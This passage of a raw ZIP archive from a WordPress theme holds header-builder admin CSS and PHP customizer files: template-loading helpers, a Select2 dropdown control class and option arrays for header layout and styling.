}
.header-builder-list .header-element.pb_search_form:before {
	content: "\e8ca";
}
.header-builder-list .header-element.pb_html_ad:before,
.header-builder-list .header-element.pb_html_ad_2:before,
.header-builder-list .header-element.pb_html_ad_mobile:before,
.header-builder-list .header-element.pb_html_ad_mobile_2:before,
.header-builder-list .header-element.pb_html_ad_3:before {
	content: "\e870";
}
.header-builder-list .header-element.pb_second_menu:before,
.header-builder-list .header-element.pb_third_menu:before,
.header-builder-list .header-element.pb_main_menu:before {
	content: "\e83e";
}
.header-builder-list .header-element.pb_news_ticker:before {
	content: "\e84b";
}
.header-builder-list .header-element.pb_search_icon:before {
	content: "\e8ca";
}
.header-builder-list .header-element.pb_shortcode:before,
.header-builder-list .header-element.pb_shortcode_2:before,
.header-builder-list .header-element.pb_shortcode_mobile:before,
.header-builder-list .header-element.pb_shortcode_3:before {
	content: "\e883";
}
.header-builder-list .header-element.pb_social_icon:before,
.header-builder-list .header-element.pb_social_icon_mobile:before {
	content: "\e85e";
}
.header-builder-list .header-element.pb_vertical_line_mobile_1:before,
.header-builder-list .header-element.pb_vertical_line_mobile_2:before,
.header-builder-list .header-element.pb_vertical_line_1:before,
.header-builder-list .header-element.pb_vertical_line_2:before,
.header-builder-list .header-element.pb_vertical_line_3:before,
.header-builder-list .header-element.pb_vertical_line_4:before,
.header-builder-list .header-element.pb_vertical_line_5:before {
	content: "|";
}
.header-builder-list .header-element.pb_wishlist_icon:before {
	content: "\e923";
}
.header-builder-list .header-element.pb_login_register:before {
	content: "\e895";
}
.header-builder-list .header-element.pb_darkmode:before {
	content: "\e8fd";
}
.header-element {
	background: #fff;
	color: #3f3f3f;
	line-height: 18px;
	padding: 4px 8px;
	margin-bottom: 10px;
	font-size: 13px;
	cursor: pointer;
	display: inline-block;
	margin-right: 5px;
	border: 1px solid #868383;
	border-radius: 2px;
	transition: 0.15s all ease-in-out;
	text-align: center;
}
.header-element:hover {
	border-color: var(--wp-admin-theme-color);
	background-color: var(--wp-admin-theme-color);
	color: #fff;
}
.header-builder-column .header-element {
	margin: 2px 3px;
}
.header-builder-column {
	padding-right: 23px;
}
.header-builder-column.left {
	padding-left: 23px;
	padding-right: 0;
}
.header-builder-column .header-element:hover {
	background: #888;
	border: 1px solid #605e5e;
	color: #fff;
}
.header-builder-column .header-builder-drop-zone {
	width: 100%;
	min-height: 36px;
}
.ui-sortable-placeholder {
	background-color: var(--wp-admin-theme-color) !important;
	visibility: visible !important;
	vertical-align: top;
}
.header-element span {
	float: left;
}
.header-builder-column .header-element-close {
	display: block;
}
.header-element-close {
	display: none;
	margin: 0 0 0 4px;
}
.header-element-close:before {
	font-family: dashicons;
	content: "\f335";
	line-height: 14px;
	vertical-align: middle;
	color: #000;
	font-size: 16px;
	width: 14px;
	height: 14px;
	text-align: center;
	position: relative;
	top: -1px;
}
.header-tab {
	background: #f2f2f2;
	color: #000;
	left: 100%;
	border-bottom: 1px solid #aaa;
	text-transform: capitalize;
	padding: 10px 10px 0;
}
.header-tab i {
	margin-right: 5px;
}
.device-mode-desktop:hover .desktop-mode {
	opacity: 1;
	visibility: visible;
}
.header-tab:after {
	content: "";
	position: absolute;
	width: 0;
	height: 0;
	border-style: solid;
	right: 0;
	border-width: 8px 8px 8px 0;
	border-color: transparent var(--wp-admin-theme-color) transparent
		transparent;
	left: -8px;
	top: 9px;
	z-index: 100;
}
.header-tab ul {
	margin: 0;
	padding: 0;
}
.header-tab li,
.preview-desktop.sticky .desktop-mode .normal,
.preview-mobile.drawer .mobile-mode .menu,
.preview-tablet.drawer .mobile-mode .menu {
	display: inline-block;
	line-height: 10px;
	border: 1px solid var(--wp-admin-theme-color-darker-20);
	padding: 8px 12px 10px;
	margin-bottom: 0;
	background: var(--wp-admin-theme-color);
	color: #fff;
	text-align: center;
	border-bottom: 0;
	cursor: pointer;
	position: relative;
	top: 1px;
	height: 10px;
	-webkit-border-top-left-radius: 2px;
	-webkit-border-top-right-radius: 2px;
	-moz-border-radius-topleft: 2px;
	-moz-border-radius-topright: 2px;
	border-top-left-radius: 2px;
	border-top-right-radius: 2px;
}
.preview-desktop .desktop-mode .normal,
.preview-desktop.normal .desktop-mode .normal,
.preview-desktop.sticky .desktop-mode .sticky,
.preview-mobile .mobile-mode .menu,
.preview-mobile.drawer .mobile-mode .drawer,
.preview-mobile.mobile_menu .mobile-mode .menu,
.preview-tablet .mobile-mode .menu,
.preview-tablet.drawer .mobile-mode .drawer,
.preview-tablet.mobile_menu .mobile-mode .menu {
	background: #fff;
	color: #333;
	border: 1px solid #aaa;
	border-bottom: 0;
	-webkit-border-top-left-radius: 2px;
	-webkit-border-top-right-radius: 2px;
	-moz-border-radius-topleft: 2px;
	-moz-border-radius-topright: 2px;
	border-top-left-radius: 2px;
	border-top-right-radius: 2px;
}
.header-tab {
	display: none;
}
.preview-desktop .desktop-mode {
	display: block;
}
.preview-mobile .mobile-mode,
.preview-tablet .mobile-mode {
	display: block;
}
#accordion-section-penci_header_builder_block_section,
#customize-control-penci_hb_preset {
	display: none !important;
}
.header-builder-mobile-drawer .header-builder-column {
	padding: 4px 3px 10px;
}
.header-builder-mobile-drawer .header-builder-column .header-builder-drop-zone {
	height: 160px;
}
.header-builder-mobile-drawer .header-builder-row {
	width: 50%;
	display: inline-block;
}
.header-builder-mobile-drawer .header-builder-column .header-element {
	display: block;
}
.header-builder-mobile-drawer .header-builder-column .header-element:after {
	clear: both;
	content: "";
	display: table;
}
.header-builder-mobile-drawer .header-builder-column .header-element-close {
	float: right;
}
.preview-mobile .wp-full-overlay-main,
.preview-tablet .wp-full-overlay-main {
	margin-top: 10px !important;
}
.penci-btn-header-builder {
	display: inline-block;
	cursor: pointer;
	position: absolute;
	right: 0;
	top: 0;
	bottom: 0;
	width: 45px;
	text-align: center;
	border-left: 1px solid rgb(220, 220, 222);
}
.penci-btn-header-builder i:before {
	content: "\f0c9";
}
.header-builder-open .penci-btn-header-builder i:before {
	content: "\f00d";
}
.penci_builder_save_settings {
	padding: 5px 10px;
	border: 0;
	background-color: var(--wp-admin-theme-color);
	color: #fff;
	border-radius: 2px;
	line-height: 2.15384615;
	cursor: pointer;
	position: relative;
}
.penci_builder_save_settings.loading:before {
	font-family: inherit !important;
	line-height: 0;
	display: inline-block;
	width: 14px;
	height: 14px;
	margin: 0 10px 0 0;
	content: " " !important;
	animation: lds-dual-ring 0.4s linear infinite;
	vertical-align: middle;
	opacity: 1;
	border: 1px solid rgba(255, 255, 255, 0.5);
	border-left-color: #fff;
	border-top-color: #fff;
	border-radius: 50%;
}
.wrap div.penci-saved-message {
	margin-top: 15px;
}
.penci-saved-message.error {
	color: red;
}
.header-builder .top-edit-screen {
	color: #fff;
}
#penci_save_header {
	float: right;
	margin-left: 10px;
	margin-top: 10px;
	margin-right: 70px !important;
}
a.preview-header {
	padding: 4px 10px;
	display: inline-block;
	background: var(--wp-admin-theme-color);
	color: #fff;
	border-radius: 2px;
	margin: 0 0 0 10px;
	text-transform: uppercase;
	font-size: 12px;
}
.header-setting {
	position: absolute;
	right: 0;
	top: 0;
	background: #fff;
	color: #0e0e0e;
	line-height: 40px;
	width: 20px;
	text-align: center;
	border-left: 1px solid #8a8a8a;
	font-size: 12px;
	cursor: pointer;
}
.header-column-option-tooltip {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	position: absolute;
	background: #fff;
	color: #000;
	left: auto;
	right: -7px;
	font-size: 12px;
	bottom: auto;
	top: 100%;
	opacity: 0;
	visibility: hidden;
	margin-bottom: -10px;
	text-align: center;
	width: 330px;
	border: 1px solid var(--wp-admin-theme-color);
	margin-top: 6px;
	z-index: 100;
	-webkit-transition: all 0.1s ease-in-out;
	-o-transition: all 0.1s ease-in-out;
	transition: all 0.1s ease-in-out;
}

.header-builder-left .header-column-option-tooltip,
.header-builder-left.normal
	~ .header-builder-center.normal
	.header-column-option-tooltip {
	left: -7px;
	right: auto;
}

.header-column-option-tooltip > div {
	width: calc(100% / 2);
}

.header-builder-mobile .header-builder-top .header-column-option-tooltip {
	width: 150px;
}

.header-builder-mobile .header-builder-top .header-column-option-tooltip > div {
	width: 100%;
}

.header-column-option-tooltip > div h3 {
	background: var(--wp-admin-theme-color);
	margin: 0;
	color: #fff;
	padding: 6px 0;
	font-size: 13px;
}

.header-builder-column.active .header-column-option-tooltip {
	opacity: 1;
	visibility: visible;
	margin-bottom: 6px;
}

.header-column-option-tooltip ul {
	padding: 7px 5px;
	margin: 0;
}

.header-column-option-tooltip li {
	display: inline-block;
	margin: 0;
	padding: 2px 8px;
	cursor: pointer;
	background: #fff;
	color: #000;
	border: 1px solid transparent;
}

.header-column-option-tooltip li.active {
	border-color: #adadad;
}

.header-column-option-tooltip::after {
	content: "";
	position: absolute;
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 0 8px 8px 8px;
	border-color: transparent transparent var(--wp-admin-theme-color);
	right: 8px;
	top: -7px;
	z-index: 100;
}

.header-builder-left .header-column-option-tooltip:after,
.header-builder-left.normal
	~ .header-builder-center.normal
	.header-column-option-tooltip:after {
	left: 8px;
	right: auto;
}PK     N\L6    )  inc/builder/customizer/builder_helper.phpnu [        <?php
if ( ! function_exists( 'penci_header_default' ) ) {
	function penci_header_default( $option ) {
		$default = '';

		switch ( $option ) {

			/** DISPLAY */
			case 'desktop_display_top_left':
			case 'desktop_display_mid_right':
			case 'desktop_display_bottom_left':
			case 'sticky_display_mid_left':
			case 'mobile_display_mid_center':
				$default = 'grow';
				break;
			case 'desktop_display_top_center':
			case 'desktop_display_top_right':
			case 'desktop_display_mid_left':
			case 'desktop_display_mid_center':
			case 'desktop_display_bottom_center':
			case 'desktop_display_bottom_right':
			case 'sticky_display_mid_center':
			case 'sticky_display_mid_right':
			case 'mobile_display_mid_left':
			case 'mobile_display_mid_right':
				$default = 'normal';
				break;
		}

		return $default;
	}
}


function penci_builder_menu_list() {
	$menu_list = [ '' => '' ];
	$menus     = wp_get_nav_menus();
	if ( ! empty( $menus ) ) {
		foreach ( $menus as $menu ) {
			$menu_list[ $menu->slug ] = $menu->name;
		}
	}

	return $menu_list;
}

if ( ! function_exists( 'penci_can_render_header' ) ) {
	function penci_can_render_header( $device, $row ) {
		$columns    = array();
		$can_render = false;

		if ( $device === 'desktop' || $device === 'desktop_sticky' ) {
			$columns = array( 'left', 'center', 'right' );
		}

		if ( $device === 'mobile' ) {
			$columns = array( 'left', 'center', 'right' );
		}

		foreach ( $columns as $column ) {


			$setting_element = "penci_hb_element_{$device}_{$row}_{$column}";
			$default_element = penci_get_builder_mod( $setting_element );
			$default_element = ! empty( $default_element ) ? explode( ',', $default_element ) : $default_element;


			if ( ! empty( $default_element ) && is_array( $default_element ) ) {
				$can_render = true;
				break;
			}
		}

		return $can_render;
	}
}

function penci_hb_element_desktop_top_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-top.php' );
}

function penci_hb_element_desktop_topblock_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-topblock.php' );
}

function penci_hb_element_desktop_mid_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-mid.php' );
}

function penci_hb_element_desktop_bottom_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-bottom.php' );
}

function penci_hb_element_desktop_bottomblock_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-bottomblock.php' );
}

function penci_hb_element_mobile_top_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/mobile-top.php' );
}

function penci_hb_element_mobile_mid_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/mobile-mid.php' );
}

function penci_hb_element_mobile_bottom_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/mobile-bottom.php' );
}

function penci_hb_element_desktop_sticky_top_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-sticky-top.php' );
}

function penci_hb_element_desktop_sticky_mid_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-sticky-mid.php' );
}

function penci_hb_element_desktop_sticky_bottom_preview_render() {
	load_template( PENCI_BUILDER_PATH . '/template/desktop-sticky-bottom.php' );
}
PK     N\*    "  inc/builder/customizer/select2.phpnu [        <?php

class Penci_Dropdown_Select2_Custom_Control extends WP_Customize_Control {
	/**
	 * The type of control being rendered
	 */
	public $type = 'dropdown_select2';
	/**
	 * The type of Select2 Dropwdown to display. Can be either a single select dropdown or a multi-select dropdown. Either false for true. Default = false
	 */
	private $multiselect = false;
	/**
	 * The Placeholder value to display. Select2 requires a Placeholder value to be set when using the clearall option. Default = 'Please select...'
	 */
	private $placeholder = 'Please select...';

	/**
	 * Constructor
	 */
	public function __construct( $manager, $id, $args = array(), $options = array() ) {
		parent::__construct( $manager, $id, $args );
		// Check if this is a multi-select field
		if ( isset( $this->input_attrs['multiselect'] ) && $this->input_attrs['multiselect'] ) {
			$this->multiselect = true;
		}
		// Check if a placeholder string has been specified
		if ( isset( $this->input_attrs['placeholder'] ) && $this->input_attrs['placeholder'] ) {
			$this->placeholder = $this->input_attrs['placeholder'];
		}
	}

	/**
	 * Enqueue our scripts and styles
	 */
	public function enqueue() {
		wp_enqueue_script( 'popper', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/popper.min.js', array(), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'penci-customizer-tippy', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/tippy-bundle.umd.min.js', array( 'popper' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'penci-select2-js', PENCI_SOLEDAD_URL . '/inc/customizer/js/select2.full.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'penci-custom-controls-js', PENCI_SOLEDAD_URL . '/inc/customizer/js/customizer.js', array( 'penci-select2-js' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_style( 'penci-custom-controls-css', PENCI_SOLEDAD_URL . '/inc/customizer/css/customizer.css', array(), PENCI_SOLEDAD_VERSION, 'all' );
		wp_enqueue_style( 'penci-select2-css', PENCI_SOLEDAD_URL . '/inc/customizer/css/select2.min.css', array(), PENCI_SOLEDAD_VERSION, 'all' );
	}

	/**
	 * Render the control in the customizer
	 */
	public function render_content() {
		$defaultValue = $this->value();
		if ( $this->multiselect && ! is_array( $defaultValue ) ) {
			$defaultValue = explode( ',', $this->value() );
		}
		?>
        <div class="dropdown_select2_control">
			<?php if ( ! empty( $this->label ) ) { ?>
                <label for="<?php echo esc_attr( $this->id ); ?>" class="customize-control-title">
					<?php echo esc_html( $this->label ); ?>
                </label>
			<?php } ?>
			<?php if ( ! empty( $this->description ) ) { ?>
                <span class="customize-control-description"><?php echo esc_html( $this->description ); ?></span>
			<?php } ?>
            <input type="hidden" id="<?php echo esc_attr( $this->id ); ?>" class="customize-control-dropdown-select2"
                   value="<?php echo is_array( $this->value() ) ? implode( ',', $this->value() ) : $this->value(); ?>"
                   name="<?php echo esc_attr( $this->id ); ?>" <?php $this->link(); ?> />
            <select name="select2-list-<?php echo( $this->multiselect ? 'multi[]' : 'single' ); ?>"
                    class="customize-control-select2"
                    data-placeholder="<?php echo $this->placeholder; ?>" <?php echo( $this->multiselect ? 'multiple="multiple" ' : '' ); ?>>
				<?php
				if ( ! $this->multiselect ) {
					// When using Select2 for single selection, the Placeholder needs an empty <option> at the top of the list for it to work (multi-selects dont need this)
					echo '<option></option>';
				}
				foreach ( $this->choices as $key => $value ) {
					if ( is_array( $value ) ) {
						echo '<optgroup label="' . esc_attr( $key ) . '">';
						foreach ( $value as $optgroupkey => $optgroupvalue ) {
							if ( $this->multiselect ) {
								echo '<option value="' . esc_attr( $optgroupkey ) . '" ' . ( in_array( esc_attr( $optgroupkey ), $defaultValue ) ? 'selected="selected"' : '' ) . '>' . esc_attr( $optgroupvalue ) . '</option>';
							} else {
								echo '<option value="' . esc_attr( $optgroupkey ) . '" ' . selected( esc_attr( $optgroupkey ), $defaultValue, false ) . '>' . esc_attr( $optgroupvalue ) . '</option>';
							}
						}
						echo '</optgroup>';
					} else {
						if ( $this->multiselect ) {
							echo '<option value="' . esc_attr( $key ) . '" ' . ( in_array( esc_attr( $key ), $defaultValue ) ? 'selected="selected"' : '' ) . '>' . esc_attr( $value ) . '</option>';
						} else {
							echo '<option value="' . esc_attr( $key ) . '" ' . selected( esc_attr( $key ), $defaultValue, false ) . '>' . esc_attr( $value ) . '</option>';
						}
					}
				}
				?>
            </select>
        </div>
		<?php
	}
}
PK     N\Ƈa    G  inc/builder/customizer/sections/penci_header_desktop_option_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => "penci_header_overlap_setting",
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	],
	'label'    => __( 'Enable Transparent Header( Overlap Header )', 'soledad' ),
);
$options[] = array(
	'id'       => "penci_header_wrap_all",
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => 'No',
		'enable'  => 'Yes',
	],
	'label'    => __( 'Enable Boxed Header ?', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_shadow",
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => 'No',
		'enable'  => 'Yes',
	],
	'label'     => __( 'Enable Header Shadow ?', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_wrap_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'container-normal' => '1170px',
		'container-1400'   => '1400px',
		'container-custom' => 'Custom Width',
	],
	'label'     => __( 'Select Width for Boxed Header', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_wrap_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Boxed Header Custom Width', 'soledad' ),
	'ids'       => array(
		'desktop' => "penci_header_wrap_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_wrap_lr_spc",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Boxed Header Left/Right Margin', 'soledad' ),
	'ids'       => array(
		'desktop' => "penci_header_wrap_lr_spc",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_spacing_setting',
	'type'      => 'soledad-fw-box-model',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_border_style',
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);

return $options;
PK     N\SP    O  inc/builder/customizer/sections/penci_header_bottomblockbar_setting_section.phpnu [        <?php
$area          = 'bottomblock';
$name          = 'Bottom Block';
$area_settings = $area . 'bar';
$default_width = 'container-fullwidth';
$section_name  = "penci_header_{$area_settings}_setting_section";
/* Section Settings */
$options   = [];
$options[] = array(
	'id'       => "penci_header_{$area}_content_direction",
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => $name . __( ' Content Direction', 'soledad' ),
	'choices'  => [
		'row'     => 'Row',
		'columns' => 'Columns',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_content_width",
	'default'   => $default_width,
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'ids'       => array(
		'desktop' => "penci_header_{$area}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_transparent_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Enable Transparent Background Color ?', 'soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
		'repeat-y'  => 'repeat-y',
		'no-repeat' => 'no-repeat',
		'initial'   => 'initial',
		'inherit'   => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_position",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Position', 'soledad' ),
	'choices'   => [
		'left top'      => 'left top',
		'left center'   => 'left center',
		'left bottom'   => 'left bottom',
		'right top'     => 'right top',
		'right center'  => 'right center',
		'right bottom'  => 'right bottom',
		'center top'    => 'center top',
		'center center' => 'center center',
		'center bottom' => 'center bottom',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_size",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Size', 'soledad' ),
	'choices'   => [
		'auto'    => 'auto',
		'length'  => 'length',
		'cover'   => 'cover',
		'contain' => 'contain',
		'initial' => 'initial',
		'inherit' => 'inherit',
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_background_attachment",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Attachment', 'soledad' ),
	'choices'   => [
		'scroll'  => 'scroll',
		'fixed'   => 'fixed',
		'local'   => 'local',
		'initial' => 'initial',
		'inherit' => 'inherit'
	]
);
$options[] = array(
	'id'        => "penci_header_{$area}_spacing_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_custom_sanitization',
	'type'      => 'soledad-fw-box-model',
	'label'     => esc_html__( 'Spacing & Borders', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => "penci_header_{$area}_border_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_border_style_setting",
	'default'   => 'solid',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Borders Style', 'soledad' ),
	'choices'   => [
		'none'   => 'None',
		'dotted' => 'Dotted',
		'dashed' => 'Dashed',
		'solid'  => 'Solid',
		'double' => 'Double',
	],
);
$options[] = array(
	'id'        => "penci_header_{$area}_text_color_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'settings'  => "penci_header_{$area}_text_color_setting",
	'label'     => __( 'General Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => "penci_header_{$area}_maxheight_setting",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-size',
	'label'     => $name . esc_html__( ' Max Height', 'soledad' ),
	'ids'  => array(
		'desktop' => "penci_header_{$area}_maxheight_setting",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\g    G  inc/builder/customizer/sections/penci_header_midbar_setting_section.phpnu [        <?php
$area          = 'midbar';
$name          = 'Middle Bar';
$area_settings = $area;
$default_width = 'container-normal';
$section_name  = "penci_header_{$area_settings}_setting_section";

/* Section Settings */
$options   = [];
$options[] = array(
	'id'              => "penci_header_{$area}_middle_column",
	'default'         => 'disable',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-select',
	'label'           => __( 'Middle Column Position', 'soledad' ),
	'section'         => $section_name,
	'choices'         => [
		'disable' => 'Flexible',
		'enable'  => 'Always Center',
	],
	'partial_refresh' => [
		"penci_header_{$area}_middle_column" => [
			'selector'        => '.penci-desktop-midbar',
			'render_callback' => 'penci_hb_element_desktop_' . str_replace( 'bar', '', $area ) . '_preview_render',
		],
	],
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_width",
	'default'   => $default_width,
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Container Width', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'container-normal'    => '1170px',
		'container-1400'      => '1400px',
		'container-fullwidth' => 'Fullwidth',
		'container-custom'    => 'Custom Width',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_content_custom_width",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => $name . __( ' Custom Container Width', 'soledad' ),
	'section'   => $section_name,
	'ids'  => array(
		'desktop' => "penci_header_{$area}_content_custom_width",
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 9999,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_img",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-image',
	'label'     => $name . esc_html__( ' Background Image', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => $name . __( ' Background Color', 'soledad' ),
	'section'   => $section_name,
);

$options[] = array(
	'id'        => "penci_header_{$area}_transparent_background_color",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Enable Transparent Background Color ?', 'soledad' ),
	'section'   => $section_name,
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'enable'  => 'Yes',
		'disable' => 'No',
	]
);

$options[] = array(
	'id'        => "penci_header_{$area}_background_repeat",
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => $name . __( ' Background Repeat', 'soledad' ),
	'section'   => $section_name,
	'choices'   => [
		'repeat'    => 'repeat',
		'repeat-x'  => 'repeat-x',
